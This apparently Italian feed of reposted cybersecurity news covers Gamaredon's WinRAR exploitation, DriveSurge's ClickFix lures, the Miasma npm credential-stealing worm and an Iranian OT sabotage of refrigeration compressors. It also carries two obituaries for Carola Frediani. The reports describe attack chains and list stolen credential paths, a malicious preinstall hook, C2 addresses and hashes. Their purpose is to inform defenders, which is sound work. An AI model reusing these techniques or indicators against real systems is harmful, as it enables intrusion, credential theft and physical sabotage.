La campagna Gamaredon si inserisce in un panorama di minacce concorrenti. UAC-0184 continua a colpire obiettivi militari ucraini con lure LNK che distribuiscono PassMark BurnInTest come carrier per payload malevoli. UAC-0247 (ex UAC-0244) ha preso di mira gli operatori di droni FPV, distribuendo dropper HTA via archivi ZIP con backdoor a reverse shell. Separatamente, ricercatori di ExaTrack hanno documentato l’evoluzione di PixyNetLoader, attribuito ad APT28, che sfrutta CVE-2026-21509 su Microsoft Office per rilasciare un implant COVENANT Grunt — varianti rilevate fino al 15 aprile 2026.

Due righe per i difensori


  • Patching immediato di WinRAR all’ultima versione disponibile (CVE-2025-8088 è patchata)
  • Blocco esecuzione HTA tramite Group Policy Object (GPO) e regole AppLocker
  • Restrizione VBScript: disabilitare wscript.exe e cscript.exe dove non necessario
  • Monitoraggio NTFS ADS su endpoint critici con Sysmon EventID 15
  • Regole SIEM/YARA per curl verso endpoint Telegram in contesti non aziendali
  • Blocco in uscita verso bucket AWS S3 sconosciuti e monitoraggio DNS per endpoint Telegram anomali
  • Segmentazione USB: policy di blocco o controllo accessi ai supporti rimovibili


Indicatori di compromissione (IoC)

## Tecniche MITRE ATT&CK
T1566.001 – Spearphishing Attachment (archivi RAR malevoli)
T1204.002 – User Execution: Malicious File (GammaPhish HTA)
T1059.005 – Command and Scripting Interpreter: VBScript (GammaLoad/GammaWorm)
T1053.005 – Scheduled Task/Job (GammaWorm persistence)
T1091    – Replication Through Removable Media (GammaWorm USB spread)
T1027    – Obfuscated Files/Information: NTFS Alternate Data Streams
T1102.001 – Web Service: Dead Drop Resolver (Telegram per risoluzione C2)
T1041    – Exfiltration Over C2 Channel (GammaSteel → AWS S3)
T1485    – Data Destruction (GammaWipe, attivato selettivamente)

## Vulnerabilità sfruttata
CVE-2025-8088 – WinRAR path traversal
Soluzione: aggiornare WinRAR all'ultima versione

## Infrastruttura C2
- Canali Telegram pubblici (hard-coded nei sample GammaWorm per DDR)
- Bucket AWS S3 attaccante-controllati (esfiltrazione GammaSteel)
- Server fallback attaccante-controllati

## Fonte primaria della ricerca
Sekoia – FSBS Matryoshka 1.3:
https://blog.sekoia.io/fsbs-matryoshka-1-3-gamaredons-gifts-that-keeps-unpacking-gammaphish-and-gammaworm/

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✨ Ciao Carola
#CyberSecurity
insicurezzadigitale.com/ciao-c…

@informatica


Ciao Carola


Ci sono notizie che arrivano come un pugno nello stomaco.

Quella della morte di Carola Frediani è una di quelle.

Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e una rara capacità di distinguere il rumore dai fatti.

In un’epoca in cui tutto deve essere urgente, allarmistico e spettacolare, Carola aveva scelto una strada diversa: quella della comprensione.

Leggevo con attenzione la sua newsletter, seguivo i suoi articoli, i suoi approfondimenti, il suo modo di raccontare la tecnologia e la sicurezza informatica senza mai cedere alla superficialità. Riusciva a parlare tanto agli addetti ai lavori quanto a chi si avvicinava per la prima volta a questi temi, senza mai banalizzare la complessità.

Ricordo ancora con orgoglio una circostanza che mi aveva particolarmente colpito: quando citò un articolo pubblicato sul mio blog all’interno di uno dei suoi approfondimenti (la newsletter Guerre di rete sul caso SIAE) dedicati a un caso nazionale. Un gesto probabilmente normale per chi fa giornalismo con serietà, ma che per me rappresentò un riconoscimento importante. Non tanto perché proveniva da una figura autorevole del settore, quanto perché arrivava da una persona che aveva costruito la propria credibilità sulla competenza e sull’onestà intellettuale.

Negli anni, Carola è stata una delle voci che hanno contribuito a definire il dibattito italiano sulla sorveglianza digitale, sul cybercrime, sulla sicurezza delle infrastrutture, sui diritti digitali e sulle implicazioni sociali delle tecnologie che utilizziamo ogni giorno.

Ha insegnato a molti di noi che la cybersecurity non riguarda soltanto malware, ransomware e vulnerabilità. Riguarda soprattutto persone. Riguarda libertà, informazione, potere e responsabilità.

Forse è proprio questo che rende oggi così difficile accettare questa notizia.

Perché quando scompare una persona come Carola, non perdiamo soltanto una professionista. Perdiamo una voce autorevole, indipendente e profondamente necessaria.

In un settore che spesso premia chi urla più forte, lei ha dimostrato che si può lasciare un segno anche parlando con calma, documentandosi con rigore e mantenendo sempre uno sguardo umano sulle storie che raccontava.

Oggi la comunità italiana della cybersecurity è un po’ più povera.

E molti di noi si sentono improvvisamente più soli.

Grazie, Carola, per tutto quello che hai scritto, spiegato e raccontato.

Grazie per aver contribuito a costruire una cultura della sicurezza informatica più matura, più consapevole e più umana.

Ci mancherai.


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DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS


@Informatica (Italy e non Italy)
Il gruppo DriveSurge usa il Traffic Distribution System zTDS per selezionare dinamicamente le vittime sui siti web compromessi e veicolare campagne ClickFix e FakeUpdates. L'operazione


DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS


Si parla di:
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Un gruppo di cybercriminali tracciato come DriveSurge ha costruito un’infrastruttura di distribuzione malware su scala industriale, dirottando migliaia di siti web legittimi per veicolare campagne ClickFix e FakeUpdates. Dietro l’operazione si cela il sistema di distribuzione del traffico zTDS, che seleziona dinamicamente la trappola più efficace per ciascuna vittima. Il target: qualunque utente Windows o macOS che visiti un sito compromesso.

Chi è DriveSurge e cosa fa zTDS


DriveSurge è un threat actor di tipo malware-as-a-service specializzato nella distribuzione massiva di payload attraverso siti web compromessi. La sua infrastruttura operativa si regge sul Traffic Distribution System zTDS, un sistema sofisticato che analizza i visitatori in tempo reale — sistema operativo, geolocalizzazione, browser, orario di accesso — e li reindirizza verso la trappola ottimale, scelta tra due filoni principali: ClickFix o FakeUpdates.

I ricercatori di SilentPush hanno documentato la campagna, rilevando che DriveSurge gestisce attivamente una rete di traffic broker che monetizzano il traffico dai siti compromessi indirizzandolo verso le campagne di distribuzione. Si tratta di un modello di business criminale consolidato: chi compromette i siti raccoglie il traffico e lo vende; DriveSurge compra quel traffico e lo converte in infezioni.

ClickFix: il trucco psicologico che bypassa l’antivirus


La tecnica ClickFix si basa su un principio di social engineering brutalmente efficace: mostrare all’utente un messaggio di errore fasullo — tipicamente un avviso del browser o di un’applicazione — che invita a “risolvere il problema” incollando ed eseguendo manualmente un comando nella console PowerShell o nel terminale.

Il vantaggio per gli attaccanti è che l’utente diventa il vettore di infezione: non serve exploit, non serve privilege escalation — è la vittima stessa a lanciare il payload con i propri privilegi. Il comando incollato è solitamente una lunga stringa offuscata che scarica ed esegue il malware direttamente dalla memoria, senza scrivere file su disco che possano essere rilevati dall’antivirus.

Nella versione DriveSurge, i lure ClickFix impersonano avvisi di Google Chrome, Microsoft Edge o applicazioni enterprise, con messaggi localizzati nella lingua del visitatore. Il comando finale tipicamente esegue uno script PowerShell che:

  • Scarica un payload cifrato da un dominio compromesso o da un CDN legittimo abusato
  • Lo decifra in memoria ed esegue il dropper
  • Installa un infostealer (Lumma Stealer, Vidar, o varianti custom) o un RAT
  • Aggiunge persistenza tramite scheduled task o chiavi di registro


FakeUpdates: il classico che non tramonta


Il secondo filone, FakeUpdates (noto anche come SocGholish), simula un prompt di aggiornamento del browser: una pagina sovrapposta al sito legittimo mostra un finto avviso di aggiornamento critico per Chrome, Firefox o Edge, invitando a scaricare un file .zip o .js che contiene il dropper.

La novità documentata da SilentPush nella campagna DriveSurge è l’estensione a macOS: oltre ai target Windows classici, il sistema zTDS identifica i visitatori Apple e li reindirizza verso una variante della campagna che distribuisce script JavaScript malevoli ottimizzati per l’ecosistema macOS, scaricando payload .dmg o .pkg firmati con certificati sviluppatore ottenuti fraudolentemente.

Infrastruttura e scala dell’operazione


La campagna sfrutta migliaia di siti web WordPress, Joomla e Magento compromessi come stager di primo livello: il codice iniettato nel sito vittima è minimo e difficile da rilevare — spesso poche righe di JavaScript offuscato aggiunte a file tema o plugin — che si limita a interrogare l’infrastruttura zTDS per decidere se mostrare o meno il lure al visitatore.

Questa architettura “many-to-one” offre a DriveSurge una resilienza elevata: anche se decine di siti vengono ripuliti, l’infrastruttura centrale rimane intatta e la campagna continua su altri domini. Il sistema zTDS applica anche un meccanismo di frequency capping: lo stesso indirizzo IP non riceve il lure più di una volta in una finestra temporale definita, riducendo il rischio che ricercatori di sicurezza o sistemi automatizzati di crawling identifichino i siti compromessi.

Implicazioni per i difensori


La campagna DriveSurge richiede un approccio difensivo stratificato, poiché aggira molti controlli tradizionali:

  • Blocco delle esecuzioni PowerShell da clipboard: configurare Windows Defender Application Control (WDAC) o AppLocker per limitare l’esecuzione di PowerShell non firmato lanciato interattivamente riduce drasticamente l’efficacia di ClickFix.
  • Proxy DNS con blocco dei redirect sospetti: i sistemi zTDS usano catene di redirect multi-hop; una soluzione DNS filtering (Cisco Umbrella, Cloudflare Gateway) che blocchi i redirect a dominio nuovo può interrompere la catena prima che la vittima veda il lure.
  • Awareness degli utenti: il vettore ClickFix è efficace perché convincente — investire in training specifico su “nessun sito legittimo ti chiede mai di aprire PowerShell e incollare comandi” ha un ROI alto.
  • Monitoraggio dei processi figli di browser: un browser che lancia powershell.exe, cmd.exe o wscript.exe come processo figlio è un segnale forte di ClickFix in esecuzione — aggiungere questa detection nelle regole EDR.
  • Hardening dei CMS: verificare regolarmente l’integrità dei file JavaScript dei propri siti WordPress/Joomla/Magento — i propri siti potrebbero essere già usati come stager di DriveSurge a insaputa degli amministratori.

DriveSurge dimostra che ClickFix e FakeUpdates non sono tecniche in declino: l’adozione di un TDS sofisticato come zTDS e l’espansione a macOS segnalano un investimento operativo continuo e una struttura criminale in crescita. La semplicità del vettore — fare in modo che sia l’utente a eseguire il malware — lo rende uno degli attacchi più difficili da bloccare con soli controlli tecnici.


informatica ha ricondiviso questo.

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Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina


@Informatica (Italy e non Italy)
Sekoia documenta una campagna di gennaio 2026 del gruppo APT russo Gamaredon: sfruttando CVE-2025-8088 in WinRAR, gli operatori dell'FSB distribuiscono GammaPhish, GammaLoad, GammaWorm e GammaSteel contro target


Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina


Si parla di:
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Il gruppo russo Gamaredon, legato all’FSB (Federalnaya Sluzhba Bezopasnosti), ha intensificato le sue operazioni contro l’Ucraina sfruttando una vulnerabilità recentemente scoperta in WinRAR per distribuire una sofisticata catena di malware multi-stadio. La campagna, osservata dai ricercatori di Sekoia nel gennaio 2026, utilizza una sequenza di payload denominati GammaPhish, GammaLoad, GammaWorm e GammaSteel — strumenti progettati per persistenza a lungo termine, propagazione laterale e esfiltrazione massiva di dati sensibili.

La vulnerabilità sfruttata: CVE-2025-8088


Il vettore iniziale di compromissione è la CVE-2025-8088, un path traversal flaw in WinRAR che consente l’estrazione di file in percorsi arbitrari del filesystem, incluse directory di avvio e cartelle di sistema. L’exploit si concretizza attraverso archivi RAR appositamente costruiti che, all’apertura, rilasciano silenziosamente un file HTA (HTML Application) denominato GammaPhish. La scelta di WinRAR come vettore non è casuale: il software è praticamente onnipresente negli ambienti governativi e militari ucraini, e Gamaredon ha già in passato sfruttato archivi RAR malevoli come vettore principale delle proprie campagne di spear-phishing.

La catena d’infezione: da GammaPhish a GammaSteel


Una volta eseguito, GammaPhish lancia GammaLoad, un downloader scritto in VBScript con tre funzioni primarie: fingerprinting del sistema host, aggiornamento della configurazione di rete nel registro di Windows tramite dead drop resolver (DDR), e recupero ed esecuzione di payload VBScript aggiuntivi dai server C2 dell’attaccante.

Da GammaLoad si biforcano i principali payload operativi. Il primo è GammaWorm, un worm VBScript progettato per garantire persistenza e propagazione laterale: stabilisce scheduled task come meccanismo di persistenza, poi individua le condivisioni di rete e i drive USB connessi al sistema infetto, ne nasconde le directory legittime e le sostituisce con file LNK (Windows Shortcut) malevoli. Quando una vittima nella rete clicca su uno di questi shortcut, viene scaricato ed eseguito codice arbitrario dal C2. Per risolvere l’indirizzo del server di comando, GammaWorm effettua una GET request tramite curl verso un canale Telegram pubblico hard-coded, sfruttando la legittimità della piattaforma per evadere i controlli di rete. I moduli core del worm vengono nascosti tramite NTFS Alternate Data Streams (ADS), rendendoli invisibili ai tool standard di ispezione del filesystem.

Il secondo payload principale è GammaSteel, un infostealer modulare che cattura file corrispondenti a specifiche estensioni (documenti Office, PDF, archivi, configurazioni) ed esfiltrate verso un bucket Amazon Web Services S3 controllato dagli attaccanti, con un server di fallback alternativo. La flessibilità dell’architettura permette anche la distribuzione di GammaWipe (GamaWiper), un componente distruttivo attivabile selettivamente a seconda degli obiettivi operativi.

Chi è Gamaredon e perché rappresenta una minaccia persistente


Gamaredon (noto anche come Primitive Bear, ACTINIUM, Armageddon, UAC-0010) è un APT attribuito ufficialmente all’FSB russo, specificamente al suo Centro 18 operante dalla Crimea. Attivo dal 2013, il gruppo si concentra quasi esclusivamente su target ucraini — enti governativi, militari, forze dell’ordine, organizzazioni del settore energetico — con campagne quasi ininterrotte che combinano spear-phishing tramite allegati RAR malevoli, malware custom VBScript e PowerShell, e tecniche di living-off-the-land. A differenza di gruppi più furtivi come APT29 o Turla, Gamaredon privilegia volume e persistenza, aggiornando costantemente i propri tool per sfuggire al rilevamento. L’analisi di Sekoia descrive questa architettura come “resiliente, massiva e altamente offuscata”: la capacità di aggiornare le configurazioni on the fly tramite Telegram DDR rende estremamente difficile bloccare le comunicazioni C2.

Campagne parallele: il fronte ucraino sotto attacco multiplo


La campagna Gamaredon si inserisce in un panorama di minacce concorrenti. UAC-0184 continua a colpire obiettivi militari ucraini con lure LNK che distribuiscono PassMark BurnInTest come carrier per payload malevoli. UAC-0247 (ex UAC-0244) ha preso di mira gli operatori di droni FPV, distribuendo dropper HTA via archivi ZIP con backdoor a reverse shell. Separatamente, ricercatori di ExaTrack hanno documentato l’evoluzione di PixyNetLoader, attribuito ad APT28, che sfrutta CVE-2026-21509 su Microsoft Office per rilasciare un implant COVENANT Grunt — varianti rilevate fino al 15 aprile 2026.

Due righe per i difensori


  • Patching immediato di WinRAR all’ultima versione disponibile (CVE-2025-8088 è patchata)
  • Blocco esecuzione HTA tramite Group Policy Object (GPO) e regole AppLocker
  • Restrizione VBScript: disabilitare wscript.exe e cscript.exe dove non necessario
  • Monitoraggio NTFS ADS su endpoint critici con Sysmon EventID 15
  • Regole SIEM/YARA per curl verso endpoint Telegram in contesti non aziendali
  • Blocco in uscita verso bucket AWS S3 sconosciuti e monitoraggio DNS per endpoint Telegram anomali
  • Segmentazione USB: policy di blocco o controllo accessi ai supporti rimovibili


Indicatori di compromissione (IoC)

## Tecniche MITRE ATT&CK
T1566.001 – Spearphishing Attachment (archivi RAR malevoli)
T1204.002 – User Execution: Malicious File (GammaPhish HTA)
T1059.005 – Command and Scripting Interpreter: VBScript (GammaLoad/GammaWorm)
T1053.005 – Scheduled Task/Job (GammaWorm persistence)
T1091    – Replication Through Removable Media (GammaWorm USB spread)
T1027    – Obfuscated Files/Information: NTFS Alternate Data Streams
T1102.001 – Web Service: Dead Drop Resolver (Telegram per risoluzione C2)
T1041    – Exfiltration Over C2 Channel (GammaSteel → AWS S3)
T1485    – Data Destruction (GammaWipe, attivato selettivamente)

## Vulnerabilità sfruttata
CVE-2025-8088 – WinRAR path traversal
Soluzione: aggiornare WinRAR all'ultima versione

## Infrastruttura C2
- Canali Telegram pubblici (hard-coded nei sample GammaWorm per DDR)
- Bucket AWS S3 attaccante-controllati (esfiltrazione GammaSteel)
- Server fallback attaccante-controllati

## Fonte primaria della ricerca
Sekoia – FSBS Matryoshka 1.3:
https://blog.sekoia.io/fsbs-matryoshka-1-3-gamaredons-gifts-that-keeps-unpacking-gammaphish-and-gammaworm/

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Basta chiedere al chatbot: come gli hacker hanno usato Meta AI per rubare account Instagram


@Informatica (Italy e non Italy)
Numerosi account Instagram sono stati violati, ma non si è trattato di alcun exploit sofisticato: gli hacker hanno trovato un modo per usare il chatbot di assistenza di Meta contro gli utenti della stessa azienda. Un attacco

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Addio Carola


@Informatica (Italy e non Italy)
Oggi, 3 Giugno 2026, è venuta a mancare all'affetto della sua famiglia e dei suoi amici Carola Frediani.
Carola è stata anima e linfa di Guerre di Rete e lascia un vuoto incolmabile in tutti coloro che l'hanno conosciuta in questi anni.
Ci mancherai 🖤
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L'articolo proviene da #GuerreDiRete di guerredirete.it/addio-carola/

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Quando l’Intelligenza artificiale sceglie se, quando e come attaccare


@Informatica (Italy e non Italy)
L’evoluzione dell’AI ha introdotto nuove e complesse sfide nella cyber security. Scopriamo quali sono e come agiscono gli agenti AI che hanno eseguito autonomamente molte operazioni di spionaggio
L'articolo Quando l’Intelligenza artificiale sceglie se, quando e come

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Miasma colpisce Red Hat: 33 pacchetti npm avvelenati per rubare credenziali cloud e segreti CI/CD


@Informatica (Italy e non Italy)
Trentatré pacchetti npm del namespace @redhat-cloud-services sono stati compromessi dalla campagna Miasma, variante evoluta del worm Shai-Hulud. Il malware usa hook preinstall, crittografia AES-GCM e traffico mascherato


Miasma colpisce Red Hat: 33 pacchetti npm avvelenati per rubare credenziali cloud e segreti CI/CD


Trentatré pacchetti npm appartenenti al namespace ufficiale @redhat-cloud-services di Red Hat sono stati compromessi in quello che i ricercatori hanno battezzato la campagna Miasma — una variante evoluta del worm Shai-Hulud già visto colpire l’ecosistema npm. L’attacco ha già contaminato 309 repository GitHub e si è dimostrato capace di sottrarre credenziali di sviluppatori, segreti CI/CD, chiavi SSH e token cloud in modo silenzioso e automatizzato.

Contesto: il worm Shai-Hulud e la famiglia Miasma


Shai-Hulud è emerso come uno dei più sofisticati worm per l’ecosistema npm: combina esecuzione automatica al momento dell’installazione, furto di credenziali multi-target ed esfiltrazione crittografata. La campagna Miasma ne eredita interamente il modus operandi, con alcune innovazioni tecniche — in particolare l’abuso dell’infrastruttura di GitHub e dei servizi Anthropic per staging e fallback di esfiltrazione.

Secondo i ricercatori di Socket, che hanno identificato la campagna, l’attore avrebbe compromesso l’account GitHub di un dipendente Red Hat per pubblicare versioni avvelenate di pacchetti legittimi già ampiamente usati nella toolchain interna di Red Hat Cloud Services. Red Hat ha confermato la rimozione dei pacchetti, precisando che l’impatto era limitato agli strumenti di sviluppo interni — ma la contaminazione di 309 repository GitHub suggerisce una diffusione ben più ampia.

Catena di infezione: dall’npm install alla sottrazione silenziosa


Il meccanismo di innesco è elegante nella sua semplicità: il file package.json dei pacchetti compromessi contiene un hook "preinstall": "node index.js", il che significa che il payload malevolo viene eseguito automaticamente prima che l’installazione del pacchetto si completi — prima ancora che lo sviluppatore possa rendersi conto di cosa sta succedendo.

Il loader di primo stadio utilizza una serie di tecniche di offuscamento: array di char-code, trasformazioni ROT-style e blob cifrati con AES-128-GCM. Una volta deoffuscato, il codice decifra e deposita il payload principale in /tmp/p*.js, lo esegue attraverso Bun (runtime JavaScript ad alte prestazioni) — scaricando silenziosamente Bun da GitHub se non è presente sul sistema.

Il malware esegue quindi una raccolta sistematica di credenziali sensibili, includendo:

  • Segreti GitHub Actions e token npm (~/.npmrc)
  • Credenziali cloud AWS (~/.aws/credentials), GCP, Azure
  • Materiale Kubernetes e HashiCorp Vault
  • Chiavi SSH private (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
  • Credenziali Git (~/.git-credentials, ~/.netrc)
  • Token GitHub CLI via gh auth token

I dati sottratti vengono codificati in Base64, cifrati e inviati via HTTPS POST a un endpoint di esfiltrazione. In caso di fallimento, il malware utilizza un meccanismo di fallback basato su commit GitHub, scrivendo file results–.json in un repository controllato dall’attore — una tecnica dead-drop che sfrutta l’infrastruttura legittima di GitHub per eludere il filtraggio del traffico di rete.

Dettagli tecnici distintivi


Tra gli elementi più caratteristici dell’attacco:

  • Anti-analisi per sistemi russi: il malware verifica la locale di sistema e modifica il comportamento su macchine con lingua russa, suggerendo un attore non russo o comunque attento a evitare incidenti diplomatici.
  • Esfiltrazione verso api.anthropic.com: il traffico di esfiltrazione è mascherato come chiamata alle API Anthropic sulla porta 443, rendendo il traffico praticamente indistinguibile da quello legittimo in ambienti che usano LLM.
  • Commit marker univoco: il codice include la stringa IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner e il messaggio di commit Miasma: The Spreading Blight, probabilmente un segno di sfida agli analisti.
  • Tentativo di escalation su CI runner: il malware tenta esecuzione privilegiata via sudo su runner CI, espandendo l’accesso sugli ambienti di build.


Indicatori di compromissione (IoC)

# Pacchetti npm compromessi
@redhat-cloud-services/chrome (v2.3.1 e altre versioni)
@redhat-cloud-services/* (oltre 30 pacchetti nel namespace)

# Artefatti su filesystem
/tmp/p*.js                        # payload principale
/tmp/tmp.0987654321.lock          # file di lock del daemon
b.zip, bun, bun.exe               # runtime scaricato

# File di esfiltrazione fallback
results–.json
results/results–.json

# Endpoint di rete
api.anthropic[.]com:443/v1/api    # esfiltrazione mascherata
api.github[.]com/graphql          # fallback dead-drop
github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/  # staging Bun

# Hash SHA-256
88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9
21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4

Attribuzione e collegamento a TeamPCP


L’attribuzione rimane incerta. La disponibilità pubblica del tooling Shai-Hulud ha abbassato la soglia d’ingresso per più attori, rendendo difficile l’attribuzione univoca. I ricercatori notano tuttavia sovrapposizioni tattiche con il gruppo TeamPCP, già collegato ad attività su BreachForums, e con la campagna Mini Shai-Hulud documentata separatamente nello stesso periodo. La scelta di Red Hat come target — un vendor open-source con un ecosistema di sviluppatori ampio e credenziali cloud spesso ad alto privilegio — suggerisce un interesse specifico per l’accesso alle pipeline DevOps enterprise.

Cosa devono fare i difensori


Per i team di sicurezza che gestiscono ambienti con dipendenze npm, le azioni prioritarie sono:

  • Audit immediato di tutti i pacchetti @redhat-cloud-services/* installati nell’ultimo mese, verificando gli hash contro le versioni ufficiali ripristinate.
  • Rotazione preventiva di tutte le credenziali accessibili dagli ambienti di build: npm tokens, chiavi SSH, credenziali AWS/GCP/Azure, segreti GitHub Actions.
  • Blocco dei lifecycle hook npm in ambienti CI/CD tramite la configurazione ignore-scripts=true in .npmrc — questa misura da sola avrebbe impedito l’esecuzione automatica del payload.
  • Monitoraggio anomalo del traffico verso api.anthropic.com e api.github.com da processi node/bun inattesi.
  • Revisione degli hook preinstall in tutti i pacchetti npm di terze parti nel registro privato aziendale.

La campagna Miasma rappresenta un salto qualitativo nell’ingegneria degli attacchi supply chain npm: non si limita a iniettare payload semplici, ma costruisce un’intera infrastruttura di persistenza, esfiltrazione ridondante e anti-analisi che rende difficile sia il rilevamento che la remediation completa.


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Cyber Isnaad Front: l’IRGC sabota un impianto alimentare israeliano con malware GRAT e attacco OT ai compressori CO2


@Informatica (Italy e non Italy)
Durante un cessate il fuoco, l’Iran non si ferma. Il gruppo Cyber Isnaad Front, persona operativa dell’IRGC-ASA, ha compromesso simultaneamente la rete IT e i sistemi di controllo


Cyber Isnaad Front: l’IRGC sabota un impianto alimentare israeliano con malware GRAT e attacco OT ai compressori CO2


Durante una tregua dichiarata, le macchine di un impianto alimentare israeliano hanno cominciato a scaldarsi. Non era un guasto: era sabotaggio pianificato. Il gruppo Cyber Isnaad Front, una persona operativa dell’IRGC iraniano, aveva già compromesso sia la rete IT che i controllori OT industriali, preparandosi a distruggere compressori e cancellare dati con un singolo comando. Il rapporto Profero di maggio 2026 svela un’operazione che ridefinisce la minaccia ibrida IT/OT nel contesto del conflitto Iran-Israele.

La guerra tra le guerre


Il sistema strategico israeliano ha un nome per la competizione a bassa intensità che prosegue nelle pause tra i conflitti dichiarati: la campagna tra le guerre. Il cyber è diventato uno di questi domini. Dopo gli scambi cinetici tra Israele e Iran a metà 2025 e la pausa instabile che ne è seguita, il ritmo delle operazioni cyber non è calato. È aumentato. Gli operatori iraniani trattano un cessate il fuoco non come una pausa, ma come copertura: l’attenzione cala, i difensori abbassano la guardia, e il costo politico di un’intrusione nella rete è di gran lunga inferiore al costo di un missile.

Il primo segnale non fu un alert di sicurezza. Fu una lettura di temperatura anomala. Gli ingegneri di un impianto di produzione alimentare vennero chiamati perché le celle frigorifere si stavano riscaldando. Si aspettavano quello che trovano di solito: un compressore guasto, una valvola che perde, una protezione scattata. Arrivarono pronti a riparare una macchina. Trovarono invece che qualcuno era già stato dentro quella macchina, e l’aveva modificata di proposito.

Chi è Cyber Isnaad Front: una facciata per l’IRGC


Profero attribuisce questa attività a Cyber Isnaad Front, una persona cyber diretta dallo Stato iraniano emersa nel giugno 2025. Il nome, dall’arabo, si traduce come “Fronte di Supporto Cyber”, e la persona si presenta come un collettivo hacktivist arabo indipendente. Non è indipendente, e non è hacktivismo in nessun senso significativo.

Profero valuta con alta confidenza che Cyber Isnaad Front sia gestita da o insieme ad Aria Sepehr Ayandehsazan (ASA), il successore affiliato all’IRGC di Emennet Pasargad — l’entità sanzionata dal Tesoro americano per operazioni di influenza cyber contro le elezioni presidenziali USA del 2020. ASA gestisce un cast rotante di persone contro obiettivi israeliani: quando un marchio viene esposto, gli operatori lo ritirano e ne lanciano uno nuovo. La macchina non cambia. Il gruppo ha rivendicato appaltatori della difesa legati ai principali programmi d’arma israeliani, circa cinque terabyte da un fornitore nazionale di logistica carburante, e accessi che hanno colpito più di 160 clienti di data center telecom. Le rivendicazioni pubbliche sono spesso esagerate — fanno parte del prodotto. Ma gli accessi reali sono documentati.

GRAT: il malware che indossa il badge di Microsoft


Sul lato Windows dell’impianto, i responder di Profero hanno recuperato una famiglia di malware denominata GRAT (Go Remote Access Toolkit). Non sembra gran che: è un singolo eseguibile che lavora duramente per sembrare noioso. Nei campioni analizzati, si è trovato come SpellChecker.exe, Checker.exe.exe e WindowsUpdater.exe, in esecuzione da directory scrivibili dall’utente come C:\Users\[user]\AppData\Roaming\Microsoft\Spelling\. Persiste attraverso un task schedulato denominato “OneDrive Update” che lo riavvia ogni minuto e ad ogni boot, nascosto e al massimo privilegio.

Dietro quell’esterior banale si nasconde un binario singolo che raggruppa undici sottosistemi separati. GRAT può enumerare un host fino al suo stato antivirus e BitLocker, gestire processi, riscrivere il registro, manipolare i servizi Windows, eseguire un server VNC completo con iniezione sintetica di tasti, esfiltrare file verso cloud storage controllato dall’attaccante. Include un modulo di cifratura per il riscatto chiamato “BigBang”. E può cancellare completamente i dischi: con un singolo comando, GRAT sovrascrive il disco fisico e poi distrugge la partition table. Una variante multi-pass usa syscall dirette per un’operazione di zero, random e 0xFF. Un host che riceve quel comando non torna indietro — non resta nulla da cui recuperare.

Il C2 usa un’architettura dual-channel: i comandi arrivano tramite RabbitMQ incapsulato in TLS sulla porta 7878, e i risultati ritornano attraverso un canale Redis plain-text sulla porta 9988, entrambi diretti allo stesso server 84[.]201[.]6[.]131. Ogni parametro di connessione è cifrato AES-256 all’interno del binario, e la chiave ruota con ogni build — firma di un builder: un campione codificato per target, così che craccare uno non compromette gli altri.

L’attacco OT: sabotaggio calcolato ai sistemi di refrigerazione CO2


L’impianto operava due sistemi di refrigerazione industriale, uno vecchio e uno nuovo, entrambi costruiti su CO2 (R-744) come refrigerante. L’attaccante li ha trattati diversamente, e la differenza è istruttiva.

Sul sistema vecchio, l’attaccante ha modificato solo parametri: setpoint, soglie di protezione, limiti di allarme. Pericoloso, ma recuperabile nella stessa serata. Sul sistema nuovo è andato molto più in profondità: ha cancellato e ripristinato l’intera configurazione programmatica del controller — input digitali e analogici mappati ai sensori di temperatura e pressione, output digitali che avviano i compressori, output analogici per valvole motorizzate e ventole, input di fault. Tutto azzerato. Il recupero non era “reimposta un valore”: era re-ingegnerizzare il controller da zero, tracciando ogni cavo nel quadro elettrico contro lo schema, identificandolo nel programma, e ridefinendolo nel controller. Un lavoro di giorni.

La mossa finale ha trasformato una modifica di configurazione in distruzione fisica. Le valvole motorizzate che gestiscono la pressione del gas sono state impostate in modalità manuale e bloccate permanentemente aperte. L’intento era specifico: mantenere il refrigerante in movimento senza nulla per contenerlo. In un sistema CO2, il liquido che raggiunge i compressori causa danni catastrofici — il liquido non è comprimibile. Un pistone che tenta di comprimere una sacca di liquido si rompe. Il CO2 liquido poi, riscaldandosi, aumenta la pressione in modo esponenziale; le valvole di sicurezza si aprono e sfiatano il refrigerante nell’atmosfera, svuotando l’impianto.

Quando gli ingegneri hanno cercato di riavviare il sistema, tre compressori erano stati distrutti. Il recupero ha richiesto diversi giorni: sostituzione di compressori, valvole, filtri, pressostati e altri componenti, poi test di pressione, test di vuoto e ricarica con R-744. Un compressore sostitutivo era ancora in attesa dal produttore all’estero. Nessun malware aveva girato sui controllori OT — l’attaccante aveva bisogno solo di setpoint, modalità delle valvole, e una comprensione profonda della termodinamica del refrigerante. La distruzione era stata eseguita nel linguaggio nativo dell’impianto.

Indicatori di Compromissione (IoC)

## NETWORK INDICATORS
C2 command channel:  84[.]201[.]6[.]131:7878  (RabbitMQ over TLS)
C2 results channel:  84[.]201[.]6[.]131:9988  (Redis plain TCP)
Infrastruttura associata (confidenza minore):
  146[.]103[.]40[.]190
  193[.]29[.]104[.]5
  45[.]82[.]66[.]163
  84[.]201[.]6[.]128 / 84[.]201[.]6[.]129
  85[.]137[.]56[.]9
  85[.]17[.]55[.]232
## FILE HASHES (SHA-256)
Checker.exe.exe:        6f5f427d96656ae51405e6a5e65253759db45ea0a17da2d70f881404a4ed717b
WindowsUpdater.exe:     0ad128e813314e4562489478e6def8c6dfcc251e006d7f55b24273e93d3bc7fb
SpellChecker.exe:       c4909b2d7a7f813b5a3d729fe64535033e716ae89dc39c402a6cb8ccbccaadca
WindowsUpdater.exe(2):  86194eb5c5abcfe763899aaad7eb64894c71e816dd7d27427c8bac4ab280533d
## PERSISTENCE
Scheduled Task:  "OneDrive Update" (ogni minuto + boot)
File paths:
